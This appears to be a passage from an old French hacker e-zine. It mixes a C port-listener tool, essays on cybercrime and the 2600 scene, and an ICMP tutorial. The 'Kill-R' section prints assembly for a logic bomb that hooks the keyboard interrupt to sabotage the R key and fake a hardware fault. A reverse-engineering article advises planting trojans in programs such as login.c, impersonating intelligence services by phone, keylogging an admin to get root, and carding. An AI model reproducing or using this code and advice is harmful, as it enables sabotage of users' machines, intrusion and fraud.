void main(int argc, char *argv[]) {

const char *port;
int msock;

/* on definit la socket de reception: celle qui va recevoir les infos sur l'agresseur */

struct sockaddr_in sin;
int lsin;

if (argc != 2) {
printf("
RTClog numéro_du_port_que_l'on_ecoute\n");
exit(1);
}

/* initialisation des variables */
port = argv[1];
lsin= sizeof(sin);

/* affichage des infos pour la celebrite!! */

printf("
\nRTClog is a tOOl of RTCtech\n");
printf("
Written by Par4noID\n");

msock = socket_passive (port,2);

/* le prog doit s'éxécuter en tache de fond. Pour ce faire on copie le process par l'appel fork() puis on teste le résultat : si on est dans le shell on sort. */

if (fork() != 0) {
exit(1);
}

/* on lance une boucle sans fin qui s'éxécutera en tache de fond car le process du shell est fini */

while(1) {

/* accept attend une connection, lorsque celle-ci se produit remplit la structure sin dont on affiche le champ sin_addr (addresse IP de celui qui a établi la connection */

accept(msock, (struct sockaddr *)&sin, &lsin);

/* on fait un appel system plutot que de se taper la prog xlib correspondante!! */

system("
xmessage -center atHACK");
printf("
Scanning from: %s \n", inet_ntoa(sin.sin_addr));
}

}


/* Code d'une fonction d'ouverture passive d'un port by Par4noID
membre du g4ng RTC */

int socket_passive (const char *port, int qlong) {

/* Structure decrivant la socket que l'on ouvre*/
struct sockaddr_in sin;
int s;

/* Creation d'une socket tcp classique */
s= socket (AF_INET, SOCK_STREAM, IPPROTO_TCP);
if (s<0) {
printf("
erreur socket\n");
}

/* On remplit la structure sockaddr_in correspondante pour établir une socket passive*/

sin.sin_family = AF_INET;
sin.sin_port = htons(atoi(port));
sin.sin_addr.s_addr = INADDR_ANY;

/* On associe la socket au numero du port par la fonction bind */

if ( bind (s, (struct sockaddr *)&sin, sizeof(sin)) < 0 ) {
printf("
Erreur dans l'allocation de port\n");
}

/* Reste a placer la socket en mode passif */

if ( listen(s, qlong) < 0 ) {
printf("
Erreur dans la mise en place du mode passif\n");
}

return s;

}
-----------------------------------CUT HERE-------------------------------------

Par4noID

///////////////////////////////////////////////////////////////////////////////
///////////////////////////////////////////////////////////////////////////////
Débat sur la cybercriminalité
///////////////////////////////////////////////////////////////////////////////
///////////////////////////////////////////////////////////////////////////////


1) Quelques mises au point...
==============================

Pour commencer, je dirais qu'il faut savoir de quoi on parle. En ce moment, on n'arrête pas de tout mélanger, les médias ne faisant pas un travail assez objectif pour permettre d'éclaircir le monde underground de l'informatique. Dans ce monde, il y a différentes catégories de personnes, disons 4 pour simplifier :

* Les Hackers : ce sont des spécialistes des réseaux, des failles de sécurités, ils maîtrisent Linux comme personne, ils ont été formés par les Noway et les Noroute. ils sont capables de programmer leur propre utilitaires en C. Parmi les hackers, on trouve deux classes :
-les hackers passifs qui ne font que divulguer des informations, des codes de programmes, des nouvelles failles... ce ne sont pas les plus mauvais, loin de là (ex : Neuralien). Ceux là restent dans la légalité la plus totale (quoique la liberté d'expression soit dans ce cas là parfois bafoué :-o ).
-les hackers actifs qui mettent en pratique tout ce qu'ils ont appris et créés (ex : feu Cod4). Ils ne sont pas inconscients, ils savent ce qu'ils font, à leur risques et périls. Certains ne se font jamais prendre, d'autres si. Remarquez que le deuxième scénario se produit plus souvent que le premier.

* Les auteurs de virus et de worms : j'ai regroupé ces deux catégories car maintenant, on confond tout. Mais mettons les choses au point une fois pour toute. Les virus sont des programmes qui cherchent à se reproduire le plus grand nombre de fois possibles tout en restant caché (cette caractéristique est peut être la plus importante). Les worms sont des programmes qui cherchent à se propager sur le plus grand nombre d'ordinateurs possible via le réseau Internet par exemple. Les virus sont codés en assembleur alors que le (nouveau) langage de prédilection des worms est le Visual Basic. ILoveYou, Mélissa sont des worms; Stoned, Jerusalem sont des virus. Remarquez que les premiers sont beaucoup plus connus que les seconds (hasard? non! :-) ). Ces personnes sont généralement peu connues ou en tout cas moins bien connues que les hackers.

* Les crackers : communauté très large en France (TVA oblige), ils font sauter les protections sur les jeux et les logiciels chers... Les crackers sont très organisés et ont un réseau dense en France. Ils ne représentent aucunement une menace pour les entreprises ou l'Etat. Ils mettent simplement en pratique la devise de la France, liberté (ils craquent les programmes qu'ils veulent) égalité (pensez à toutes ces personnes pour qui 300F, le prix moyen d'un jeu constitue une vraie ruine, surtout quand le jeu est mauvais) fraternité (ils faut bien les aider un peu et leur offrir un service de qualité).

* Les Tocards : la plus impotante (en nombre) des quatre catégories, ces personnes n'ont à mon avis rien à faire dans le monde underground. Cette catégorie regroupe :
-ceux qui se disent hacker et qui ose avoir un site (ex : cccf pour ne citer que les champions de la catégorie).
-ceux qui se disent hacker mais qui n'ont ni site, ni réputation, rien ne pouvant les identifier comme de véritables hakers mais qui sont hackers parce que c'est à la mode pour monter une entreprise informatique (ex : Red Dragon (?), Billy the hacker).
-ceux qui compilent les programmes qu'ils trouvent sur les sites de hackers sans savoir ce que le programme en question fait (ça serait un programme qui installe une backdoor, ils n'y verraient que du feu) (ex : les deux phillipins qui se sont fait arrêté pour ILoveYou).
-ceux qui utilisent des programmes tels Backorifice ou autre cheval de Troie. On en a déjà parlé dans RTC mag n°1, on va pas revenir dessus.

2) Alors, on peut discuter...
==============================

Maintenant, parlons un peu de ce Forum sur la cybercriminalité... Posons les bonnes questions, celles qui méritent une réflexion, et pas des questions dont on peut trouver les réponses sur le site de Mykraussophte.

Qui était présent à ce forum? Les industriels de l'informatique et les Etats membres du G8, autrement dit les gogols qui s'amusent à programmer des bugs et des failles et les pigeons qui sont chargés de protéger ces bugs et ces failles contre les hackers. Forum hautement qualifié pour parler de cybercriminels.

Qui est accusé de cybercriminalité? On a mis dans le même panier les Hackers, les auteurs de virus et de worms, les crackers, les donneurs de mp3, les tocards et les pédophiles. Ridicule. Pourquoi ne pas confondre Bernard Tapie, Francis Heaulme, le voleur de scooter de mon quartier, Marc Dutroux, Jorg Haider, un dealer d'héroïne et Rezala. Voilà où on en est arrivé, c'est pitoyable. Surtout, bravo à tous les membres du forum pour leur contribution généreuse à cette avancée significative du débat...

Qui sont les cybercrimels? (Ça c'est une question pertinente) Les cybercriminels sont ceux qui vendent des programmes plusieurs milliers de francs et une mise à jour six mois plus tard, ceux qui font des antivirus incapables de détecter de nouvelles versions de virus répandus alors qu'il est tellement plus simple d'installer Linux pour limiter les attaques de worms (parce qu'un .vbs sous Linux, ça marche pas fort), ceux qui entretiennent l'image néfaste du monde underground et font tout pour le détruire (les V sont nos amis, ils faut les aimer aussi... ;-) )...

Comment lutter efficacement contre les cybercriminels? Installer Linux, s'intéresser au monde underground car il est vaste et il faut du temps, ne pas croire le premier journaliste de TF1 venu qui prétend tout savoir sur la cybercriminalité alors qu'il ne comprend même pas le mot Power qui est écrit sur son PC. Ensuite, apprendre le C et l'assembleur, lire et comprendre les Noway et les Noroute, ne pas croire qu'on va tout blaster et rester humble, ne pas faire copain-copain avec les V. Enfin, ouvrir un site pour y parler de choses intéressantes et instructives pour les futurs membres du monde underground. C'est en évoluant qu'on apprend.

Le monde underground français a encore beaucoup à prouver face aux reste du monde. Dans tous les autres pays européens, au Canada et aux Etats Unis, des groupes ont réussi à survivre et à être maintenant des groupes de classe internationale (ils ont pas eu les V sur le dos). L'underground français n'a plus qu'à suivre ces exemples en n'oubliant jamais qui furent les pionniers français et dont la plupart ont été tout simplement busted. La RTC n'est pas et ne veut pas être le nouveau Phe, laissons le maître à sa place. La RTC veut continuer le travail commencé en 1994, continué en 1997 et jamais achevé. Je lance un appel à tous les micros groupes qui veulent en finir avec l'anonymat. Allons tous ensemble de l'avant.

3) Greets
==========

Cet article est dédié à NeurAlien qui fut sans doute le plus grand hacker français mais qui en plus était d'une intelligence rare au niveau des idées qu'il a développées dans les Noway. Chapeau bas, monsieur...

By Androgyne
///////////////////////////////////////////////////////////////////////////////
///////////////////////////////////////////////////////////////////////////////
ICMP my friend
///////////////////////////////////////////////////////////////////////////////
///////////////////////////////////////////////////////////////////////////////

Qui n'a jamais été victime de cette sauvagerie qu'est l'erreur de
transmission TCP/IP qui bloque toute éventuelle transmission?
Je suppose qu'il y en a peu! Moi le premier, on me la fait en moyenne
3 à 4 fois par semaine. A quoi est dû ce pb?

En fait c simple. Les connexions TCP/IP sont très complexes et pendantles échanges de données, il y a des ratés :) par forcément très avantageux,d'ailleurs. :(
Mais bon, donc dans ces connexions, des millions de données transites et les seuls maîtres à bord, sont le serveur, et le routeur! Ils reçoivent toutes les données et s'ocupent de les rediriger selon la vieille technique du "
pipe" sous UNIX, LINUX aussi bien que sous Windows. C'est à dire qu'ils s'occupent tous deux de rediriger les paquets afin de les acheminer du mieux qu'ils peuvent jusqu'à votre machine. Seulement il n'y a pas qu'une seule personne connectée, de ce fait des erreurs dans les paquets transmis interviennent : pb d'addressage, pb de contrôle de flux, mauvaise transmision des paquets pour cause de saturation du réseau, mauvaise fragmentation, bref les raisons sont multiples! Un seul protocole est chargé de gérer ces erreurs, il se nomme le protocole ICMP : Internet Control Message Protocol. La fonction principale de ce protocole est de renvoyer vers l'emetteur des messages d'erreur quand les datagrammes rencontrent certains problèmes sur leurs chemins jusqu'au destinataire.
Ce protocole est obligatoirement supporté par toute machine quelque soit sa plate-forme. Ces paquets sont acheminés dans un datagramme IP. Ils possèdent alors les mêmes caractéristiques, TTL, etc... :) ==> renvoi à l'article de P4r4noID!
Je me dois de rajouter une petite chose, ce champ TTL(Time To Live); prend comme valeur par défaut 32 ou 64. De plus, il existe sous Linux comme sous Windows un utilitaire nommé Traceroute, ou TRACERT.EXE sous Wx. Son nom parle de lui même! :) En fait, cet utilitaire opère très facilement.

  
Il émet des paquets vers une destination donnée en augmentant à chaque fois la valeur du champ TTL. Chaque paquet est alors détruit par un routeur car le TTL arrivait à 0, lors
de son passage vers lui. Des messages ICMP sont alors renvoyés permettant d'identifier les routeurs qui se trouvent sur le trajet d'un point X à un point Y. Avec X l'emetteur, et Y le destinataire, vous l'aviez compris!

La structure de ces paquets est des plus simples :

--------------------------------------------------------------------
| TYPE (8 bits) | CODE (1 octet) | SOMME DE | | | | CONTROLE(2 octs)|
---------------------------------------------------------------------
| DONNEES DE TAILLE VARIABLE (variable) | | |
---------------------------------------------------------------------

Le champ TYPE : Ce champ contient un code qui identifie la fonction ICMP de message.

Le champ CODE : Ce champ défini les différents messages que transporte ICMP alors même qu'ils sont du même type. Si la valeur est 0, ce champ ne possède pas de variante.

Le champ SOMME DE CONTROLE : Ce champ contient un chiffre qui est la somme de toutes les données que contient le paquet ICMP. L'algorithme utilisé est le même que celui utilisé pour les sommes de contrôle des paquets IP.

Il faut savoir qu'il y a plusieurs grands types de fautes :

1) DESTINATION INACCESIBLE.
2) EXTINCTION DE SOURCE.
3) REDIRECTION.
4) PROBLEMES DE PARAMETRAGES.
Ce sont les grands types de problèmes que détecte ICMP et pour lequel il est employé.

Quelques petites explications seraient les bienvenues. C pourquoi je m'emploi à cette tâche!
Allons-y...

1) C un type de message qui est généré par un routeur ou un ordinateur destinataire en cas d'indisponibilité de la (personne), plutôt la machine, à joindre. Lorsqu'un routeur ne peut joindre le destinataire d'un paquet de données, il détruit ces dernières puis se charge de renvoyer un paquet ICMP ordinateur inaccessible. Si le routeur est incapable de router vers un routeur suivant, il renvoie un paquet ICMP encore, portant la mention : réseau inaccessible.

Maintenant, réfléchissons, il existe pour chaque protocole un MTU, ce MTU (Maximum Transmission Unit), est différent pour chaque protocole : Ethernet 1500octets; PPP 1500octets; PPP(faible délai)296octets. Ce MTU ne descend pas en dessous de 68 octets et ne monte pas au delà de 65535octets.
Que se passe t'il lorsqu'un datagramme arrive à un routeur? Le protocole de la couche d'interconnexion interroge l'interface réseau sur laquelle le paquet sera émis afin justement d'obtenir des infos sur son MTU! Si la taille de ce datagramme dépasse celle du MTU, alors, en toute logique, le datagramme est fragmenté.
PS: Je fais une grave faute en parlant de paquet IP, cf Article1 TCP/IP by SnEaKie. On parle de paquet UDP, mais de datagramme IP. (C La Base...??!!) Il existe dans l'en-tête IP (et non le header==> parlons français, ne nous laissons pas anglicisé!!!) un champ qui définit si les datagrammes transmis doivent être fragmenté ou non. Si ce champ, pour je ne sais quelle raison :), se trouve à 1, alors imaginons la suite en schéma:

ETAPE1 : A ---------Connexion PPP--------------> B (routeur)
Vous avez comment ça se passe, je zipe les détails...cf SCIENTIST.

ETAPE2 : A <--------Envoi de datagrammes-------- B
Ici, il faut le détail.

DETAILS ETAPE 2:
A <--Routeur1--Routeur2--Routeur3--Routeur4--Routeur5-- B

En fait, il ne faut pas croire que la liaison s'établie entre votre machine et le routeur directement, le trajet est encombré de multiples autres routeurs, et donc les données traversent plusieurs routeurs. Seulement, les données peuvent passer indépendemmant par un routeur sous NT4.0(bientôt NTFS5.0), que sous un routeur UNIX, Linux, Novell, etc... De ce fait, les MTU changent.

A <--Routeur1--Routeur2--Routeur3--Routeur4--Routeur5-- B
MTU MTU MTU MTU MTU
1500oct. 576oct. 1500oct. 276oct. 1000oct.

En réalité cela donne plutôt ça:

A <--Routeur--Routeur--Routeur--Routeur--Routeur------- B
| \ | / | /
| \ | / | /
Routeur \Routeur/----------Routeur/

Les interconnexions résaux entre les différents routeurs - qui sont par définition accesibles par tout le monde afin d'être redirigé jusqu'à la destination finale "demandée" en quelque sorte, dans l'en-tête IP, par le biais d'une simple addresse IP qui est l'ordinateur ou destination finale - sont très complexes ce qui fait qu'une connexion qui vise un ordinateurA peut très bien passer par 32 ou 64 routeurs avant d'aboutir (article sur le TTL de Par4noID..). Ce qui fait que le facteur rique d'erreur de trransmission est multiplié par le nbre de routeur traversés. Certains routeurs redirigent les connexions vers d'autres du fait de leur trop fort encombrement, entendez par là, une trop forte solicitation du routeur par des ordinateurs distants.

Le schéma le montre, il est impossible de définir à l'avance, non seulement le chemin que va prendre votre paquet mais aussi le MTU, il change en fonction des routeurs et ce sont eux, selon la méthode décrite plus haut qui vont se charger de refragmenter les données.

Donc prenons le cas où, votre datagramme fasse 1500octets et que vous mettez son champ de fragmentation à 1, c a d qu'il ne sera jamais fragmenté, le routeur dont le MTU est 576octets ne pourra pas l'acheminer correctement : il tentera de le fragmenter mais échouera, il renverra alors un paquet ICMP.
PING ancienne version a été retiré justement à cause d'une chose, il pouvait généré des paquets de données de plus de 65535 octets, en l'occurence 65536 octets qui est la valeur maximale multiple de 8 (1 octet = 8 Bits; Binary Coded Digits). De ce fait, lorsque l'ordinateur distant recevait le paquet de 65536 octets, que faisait-il?
Alors que la valeur max devait être 65535, il essayait qd même de le démultiplexer : moralité ==> Gros Plantage. Imposibilité du système à démultiplexer le tout ( pour ceux qui ne savent pas ce que c'st: renvoi à article 1 RTCMag SnEaKie:moi! sur TCP/IP).
Facile, on a qu'à faire pareil et on fera tout planter!
Non, depuis, le pb a été palié : on peut toujours envoyer des paquets de 65536 en programmant en C: seul incovénient le système distant ne se fera plus berner => il ne démultiplexe pas! Ca ratte pour pas dire autre chose...

2) EXTINCTION DE SOURCE

Ces messages sont d'une grande importance dans le cas ou l'ordianteur et le serveur possèdent des connexions réseaux fonctionnants à des débits très divers. Lorsque la requête d'un ordiXX se fait a 24000bps et que le servuer possède une ligne allant à 56000bps, les réponses demandées vont s'ammasser à une vitesse telle que l'ordiXX va avoir ses mémoires tampons très rapidement remplies, il va donc y avoir une saturation de la connexion entre les deux. Lorsqu'une telle chose arrive, il faut que l'ordiXX se charge de renvoyer un message ICMP au serveur lui demandant (en gros) de ralentir son envoi d'info. car le pauvre est en train d'en baver pour tout traîter...(cf ordi. de Scientist à ce qui paraît).
Donc le message ICMP de ce type : type4, code0 ne signifie pas nécessairement que des données ont été perdues mais ce message précède une situation qui est entrain de virer sur le critique, ce message se veut donc être préventif afin d'éviter d'éventuelles pertes de données ce qui rendrait toutes les données précédemment envoyées totalement inutilisables.
Lorsqu'il arrive qu'une machine reçoive ce genre de message, elle se doit de réagir, j'entends par là qu'elle se doit de réduire sa transmission de données vers l'ordi. distant jusqu'à ne plus recevoir d'autres messages de ce type. Si la situation rendevient normale, l'ordi. émetteur peut alors se permettre de réaugmenter sa vitesse de transmission progressivement afin de ne rien brusqué!
Compte tenu du fait que les routeurs sont mieux équipés en ce qui concerne les bandes passantes de données, ces genres de messages représentent un contrôle de flux élémentaire plus généralement émis par des ordi. distants.

3) REDIRECTION

Ces messages sont émis lorsu'un routeur s'aperçoit qu'une destination est accesible sans ses services. Imaginons le schéma suivant:

Réseau n°III

************
* ORDI 1 *-------------/Machine A\ -----------/Machine C\
************ | | |
| | | |
| | | |
| | | |
| | |---------| ************
|------------------/Machine B\-------------------* ORDI 2 *
************

Donc, prenons le cas suivant simple: (le schéma est nul d'acc ms bon ps le tmps!)
- L'ordinateur1 veut envoyer des données a l'ordinateur2.
- L'ordi.1 envoie donc ces données au routeurA(machineA).
- Le routeurA se rend compte que pour que le paquet arrive à destination, il doit joindre le routeurB(machineB): il le voit dans sa table de routage. Il se rend compte d'une chose, c que le routeur B se trouve sur le même réseau que la machine départ ==> Ordi1
- Le routeurA se charge tout de même d'envoyer les données au routeurB et se charge en plus, de renvoyer un message ICMP redirection type5 code0, à l'ordi1 pour qu'il sache que d'orénavant, il n'est plus nécessaire de passer par A pour accéder au réseau de l'ordi2.
- L'ordi 1 va donc modifier sa propre table de routage suite à la réception de ce message.

Les ordianteurs hôtes ne sont pas en mesure d'émettre de tels messages, en fait seuls les seuveurs en sont capables. De ce fait ils indiquent quelles sont les routes les plus rapides pour atteindre des réseaux lointains. Ces datagrammes ICMP contiennent un champ en plus ==> Pas con! le truc!
Ce champ contient l'adresse du routeur recommandé, voici la structure de ce message:

--------------------------------------------------------------------
| TYPE (8 bits) | CODE (1 octet) | SOMME DE | | | | CONTROLE(2 octs)|
---------------------------------------------------------------------
| Adresse de passerelle Internet (4octets) | | |
---------------------------------------------------------------------
| En-tête Internet + 8 octets datagrammes original |
| |
---------------------------------------------------------------------
Les messages de redirection contiennet dans un champ spécifique, l'adresse du routeur permettant de l'atteindre plus aisément.

Code Définition
0 Redirection de datagrammes pour le réseau.
1 Redirection de datagrammes pour l'ordi. hôte.
2 Redirection de datagrammes pour le type de service et de réseau.
3 Redirection de datagrammes pour le type de service et l'ordi. hôte.
Les codes précisent si l'adresse du routeur permet d'accéder plus efficacement à un réseau entier ou à un ordinateur plus particulier. Le code utilisé par l'émetteur du datagramme ICMP détermine le format de l'entrée de la table de routage du destinataire.

4) PROBLEMES DE PARAMETRAGES

Les routeurs ou les ordinateurs distants ont leur mots à dire ici. L'un ou l'autre sont capables d'envoyer de tels messages. Cela survient dans le cas où une machine reçoit des datagrammes dont len-tête IP est érroné et donc qu'il ne permet pas l'utilisation des données. Ces messages peuvent comporter les trois codes suivants:

Code Définition
0 En-tête IP erroné
1 Option obligatoire manquante
2 Longueur erronée
Un tel message ne permet d'alerter que pour des pbs graves qui nécessitent la destruction du datagramme. Il contient encore un champ en plus qui indique le numéro d'ordre de l'octet de l'en-tête IP qui pose pb.

--------------------------------------------------------------------
| TYPE (8 bits) | CODE (1 octet) | SOMME DE | | | | CONTROLE(2 octs)|
---------------------------------------------------------------------
| Pointeur (1 octet) | Non utilisé (3 octets) | | |
---------------------------------------------------------------------
| En-tête Internet + 8 octets datagrammes original |
| |
---------------------------------------------------------------------

Voilà, c'est tout, maintenant j'espére que cela sera assez clair pour l'ensemble car je manque considérablement de temps.
Si pb il ya : Rtcgang@yahoo.fr ==> n'hésitez pas!

SnEakie

///////////////////////////////////////////////////////////////////////////////
///////////////////////////////////////////////////////////////////////////////
2600 France
///////////////////////////////////////////////////////////////////////////////
///////////////////////////////////////////////////////////////////////////////

2600... La simple évocation de ce nombre mythique fait frémir de respect la moindre graine de hacker. Il n'ait aujourd'hui plus besoin de présenter la célèbre organisation mondiale dont les réunions sont aussi connues dans les milieux H/P/C/V mondiaux que dans ceux de la sécurité.
Il y a quelques mois naquit le 2600 France. Quand on porte un tel nom, on se doit d'en respecter les règles, ce que fit son organisateur rompant à la règle absolue des réunions tous les premiers vendredi du mois.
Les critiques ne tardèrent pas.
Je m'adresse ici à tout ceux qui critiquent ce genre de manifestation. Il est tant de comprendre que le sous-développement de l'underground francais tient autant aux tarifs prohibitifs de FT, à l'omniprésence des V, qu'au refus de certains de s'organiser. Le 2600 francais est une bonne idée. Je n'étais à la première réunion, cependant rendez-vous de LAMERZZZ ou non, il est temps qu'existe enfin en France une véritable organisation. Le g4ng RTC soutient tout ceux qui tentent d'unifier un tant soit peu le hacking francais! Toi, El3te parmi les El3ites, toi qui méprise ce genre de manifestation, toi qui méprise notre groupe, notre mAg, saches que tu n'est rien, tu ne défends rien, aucune idée, aucune liberté. Tu es au hacking ce que Le Pen est à la pôlitique, tu critiques toute tentative intelligente de progrès, tu t'enfermes dans une dénonciation constante et non fondée. Tu n'associes au hacking aucune idée de lutte, tu ne vois par liberté que la tienne. Tu oublies le fondement meme de la communauté H/P/C/V.
Tant que l'esprit 2600 sera respecté, tant que les V seront impuissants, nous soutiendrons ces réunions, pour qu'enfin puissent etre organisés des HIP ou des réunions CCC francais.
Par4noID

///////////////////////////////////////////////////////////////////////////////
///////////////////////////////////////////////////////////////////////////////
La bombe du mag : Kill-R
///////////////////////////////////////////////////////////////////////////////
///////////////////////////////////////////////////////////////////////////////

Cette fois, la bombe va simuler une panne clavier (voir l'article Virus et dommages matériels). Nous allons détourner l'interruption 09h. Ce code est un peu plus complexe qu'auparavant mais il faut savoir évoluer et aborder des domaines un peu plus hardus...

J'ai baptisé cette bombe Kill-R. Elle cause une pseudo-défaillance sur la touche R. Dans la première version ci dessous, on utilise une gachette triviale, un compteur que l'on incrémente. Après avoir appuyé sur 20000 touches (c'est à dire 20000 appels à l'interruption 09h), la bombe explose, le R devient inutilisable.

--------------------------------------------------------------------------------
NEW_INT_09:
push ax
in al,60h
test al,80h
pop ax
jnz INT_09
call TRIGGER
jnz INT_09
call BOMB
INT_09:
jmp dword ptr cs:[Old_09]

TRIGGER:
inc cs:[Counter]
cmp [Counter],4E20h ;counter=20000?
jnc NEXT
mov byte ptr [Activated],1
NEXT:
cmp [Activated],1
ret

BOMB:
push ax
in al,60h
or al,80h
cmp al,43h
pop ax
jnz INT_09
push ax
mov al,20h
out 20h,al
pop ax
iret

Counter dw 0
Activated db 0
--------------------------------------------------------------------------------

Cette première version peut être améliorée par l'ajout d'un générateur de nombres aléatoires. Le compteur démarre à M/4 (c'est à dire qu'au début, le R a 25% de chances de ne pas marcher). Puis le compteur est incrémenté à chaque touche pressée... Le R va donc mettre quelques jours à devenir inutilisable : une "vraie" panne bien simulée.

--------------------------------------------------------------------------------
;Linear Congruential Pseudo Random Number Generator
;the equation is X(n+1) = (A*X(n) + C) mod M

M equ 43691
A equ 13
C equ 14449

GET_RANDOM:
push bx
push cx
push dx
mov ax,[Rand_Seed]
mov cx,A
mul cx,A
add ax,C
adc dx,0
mov cx,M
div cx
mov ax,dx
mov [Rand_Seed],ax
pop dx
pop cx
pop bx
ret

Rand_Seed dw 0
--------------------------------------------------------------------------------

Et on remplace la routine TRIGGER par celle-ci...

--------------------------------------------------------------------------------
TRIGGER:
push ax
call GET_RANDOM
inc cs:[Rand_Counter]
cmp [Rand_Counter],ax
pop ax
jnc NEXT:
mov byte ptr [Activated],1
NEXT:
cmp [Activated],1
ret

Rand_Counter dw 10922 ;=M/4
Activated db 0
--------------------------------------------------------------------------------
By Androgyne

///////////////////////////////////////////////////////////////////////////////
///////////////////////////////////////////////////////////////////////////////
Reverse engineering
Part I, II & III
///////////////////////////////////////////////////////////////////////////////
///////////////////////////////////////////////////////////////////////////////

Disclaimer : L'auteur fournit ici un texte à but purement informatif. Il ne peut-être responsable de l'usage fait des informations fournites.

L'engineering est l'art de, à partir d'un besoin, de créer un système répondant à ce besoin (c'est en particulier le metier des ingenieurs).L'inverse engineering est, lui, l'art de comprendre un système déjà créé.
Tout le monde à déjà fait du reverse engineering (en démontant un qq jouer quand on est gosse). Pour notre part le reverse engineering est la base de notre science sans reverse engineering les hackers n'existerait surement pas...
En informatique, le reverse engineering consiste à comprendre le code d'un programme, sa structure interne, le pourquoi d'une faille...

Une personne déniant le reverse engineering ne sera jamais un vrai hacker, il restera tout au plus un pirate juste capable de compiler des exploits ou d'utiliser des
commandes trouvé dans un file quelconque.

J'ai donc décider d'écrire une série de file portant sur le RE.

Part I : Le Soft-cracking
-------------------------
Le soft-cracking consiste à la supression des protections logicielle.

Le soft-cracking nécéssite une forte connaissance en asembleur.
Le principe est stupide : on analyse la structure d'un programme en le debuguant et on cherche à trouver la protection.

En général, la structure d'une protection quelqu'elle soit est un test suivit d'un saut conditionnel (type j??).
le but est de comprendre dans quel cas on vas effectuer le saut pour pouvoir le remplacer par un saut non conditionnel ou une série de nop (non operand) pour griller la protection.

J'en ai fini sur le RE dans le soft-cracking. J'expliquerai peut-être plus en détail sur l'art et la manière de cracker un soft plus tard.

Ressource : Soft-Ice : Debugger
WDASM : Desassembler

Part II : L'analyse de source
-----------------------------
Beaucoup de newbies se retrouve déconcerté face à la quantité de code utilisée dans le monde du HVU mais il faut comprendre que l'on ne peut pas se prétendre hacker si l'on ignore comment coder.
L'art du codage est un art très important dans notre monde, je ne vais pas m'étendre ici sur le codage car c'est un très vaste dommaine que je commence tout juste à maitriser après 8 ans de pratique.

En quoi l'analyse d'un code source peut nous aider ? et bien en autre à pouvoir y insérer notre code dans un programme sans que cela soit très visble (modifier le login.c par ex), à découvrir des failles dans le code d'un prog setuid (pour faire du buffer overflow).
Mais cela sert également pour comprendre les exploits réaliser par certains d'entre nous et pouvoir les adapters...

Autant de raison qui font que savoir coder et savoir comprendre un code sont très important.

La méthode : il n'y a pas vraiment de méthode. La seule que je puisse vous conseiller est de bien connaître le langage utilisé.
Ce qu'il faut surtout c'est se mettre dans l'esprit du créateur du code pour pouvoir comprendre comment le code fonctionne : il faut penser comme lui lorsqu'il a créer le code... et surtout, si le but est de trouver une faille ou y insérer un trojan, ne zapper jamais les fonctions trivialles :
c'est là que se trouve souvent les points intéressants.

III. Le social engineering
--------------------------
Le SE est l'art de se faire passer pour qq1 d'autre pour pouvoir obtenir des informations. Le SE est du RE car il consiste à bien comprendre l'esprit d'une personne dons on va exploiter les faiblesses (l'esprit est une création de la nature).

Une des méthode classique du SE est de se faire passer pour une passer qui a l'habitude de donner des ordres au près d'une personnes qui a l'habitude d'en recevoir.
On utilise de préférence le téléphone (on ne nous voit pas).
Une bonne méthode consiste à se faire passer pour appartenant à une société de sécurité (RG, ou pire DST ou DGSE, ou encore une boite de sécu info).
On évite de laisser la personne avoir des doute sur notre id (actuellement il faut par ex ne pas afficher le num de tel en prétextant : on a des lignes modem dessus et il ne faut pas que n'importe qui puisse y accéder ; on noie la personne sous un flot d'info (avec des acronymes) pour que la personne croie que l'on appartient vraiment au service concerné).
Cependant ne vous dites pas qu'il est inutile de faire passer pour un couillon. En effet, par exemple un hotliner sera plus apte à vous filer des info s'il pense que vous n'en ferez rien. Un autre exemple est dans mon bahut les responsables info (les admins si on peut les appeler comme cela) ont la facheuse tendance de corriger les pbs du système en se logguant root local : il m'aurait suffit de coder un intercepteur de touche (2 syst sur 1 becane win 3.11 et linux), de l'installer, de faire planter la machine sous le compte public (script style #foow
mkdir foo
cd foo
cp ../foow ./
./foow &
), de logout, de demmander à une amie (très important que ce soit une fille -> elles sont réputées pour être des burnes en info) de se logger et d'essayer de sauvegarder qqchose et puis (rien ne marchera), de demander de l'aide à l'adm et j'aurait chopper le root.

Ainsi pour bien pratiquer le SE il faut savoir la personne que l'on va avoir en face et surtout s'adapter...

Part IV : Le Carding
--------------------
Le carding est la science qui consiste a l'utilisation des microcontrolleurs et des bandes magnetiques. Il y a tres peu de doc sur le carding du au secret qui regne autour (protection des CB et des telcards). Le carding est donc une science entierement base sur le RE. Elle permet entre autre de chopper des codes sur les cartes bancaires (plus dur depuis qu'ils ont change le format des bandes magnetiques) ou de creer ses propres cartes tel.

Ressources : Cartes a puces... de Patrick GUEULE (ETSF)

Part V : Le Sniffing
--------------------
Le sniffing ne sert pas seulement a chopper des roots telnet ou a espionner un reseau mais egalement a analyser les protocoles reseaux des logiciels. Il est, en effet, frustrant de se trouver face a un protocole dont on ignore le fonctionnement. Il est parfois possible d'analyser le code du programme l'utilisant mais souvent laborieux lorsqu'on cherche juste a utiliser une partie de ce protocole (par exemple inserer une backdoor dans un download : tres difficile).
Le principe dans le sniffing consiste simplement a utiliser votre logiciel prefere de sniffing puis a regarder les octets qui entoure les donnees transmise : ce sont les octets de protocole...

Ressource : SniffIt

Part VI : System Analysing
--------------------------
L'analyse de systeme est la base de toute passe en crackage de systeme. C'est la partie la plus interessante dans un piratage car elle consiste a comprendre comment l'admin a installe son systeme : il faut rentrer dans son esprit et voir ce qu'il n'a pas vu. L'analyse de systeme ne consiste pas seulement a voir ou se trouve la faille a exploite mais egalement comment installer ses differents programmes qui vont nous permettre de rester sur le systeme...

Ressource : SATAN Documentation...

Voila c'est fini pour l'instant mais si je trouve quelque chose a rajouter dans cet article j'ecrirais d'autres parties.
De plus je vais developper certaines parties comme le Soft-Cracking ou le Carding.

<-- File by S/asH -->
[EOF]

///////////////////////////////////////////////////////////////////////////////
///////////////////////////////////////////////////////////////////////////////
PROJET K-OS
///////////////////////////////////////////////////////////////////////////////
///////////////////////////////////////////////////////////////////////////////

^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
# Androgyne & Par4noID \ _ ___ #
# presents / / / / __ #
# _ _ _ ___ __ ___ \_/ \ \ / \ #
# | | | | | | | | | / \ == / / \__ #
# |_| |_| | | | |_ | \ \ \ \ \ #
# | | \ |_| \| |__ | / \ /___/ \__/ #
# #
# Kill - Operating - System #
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
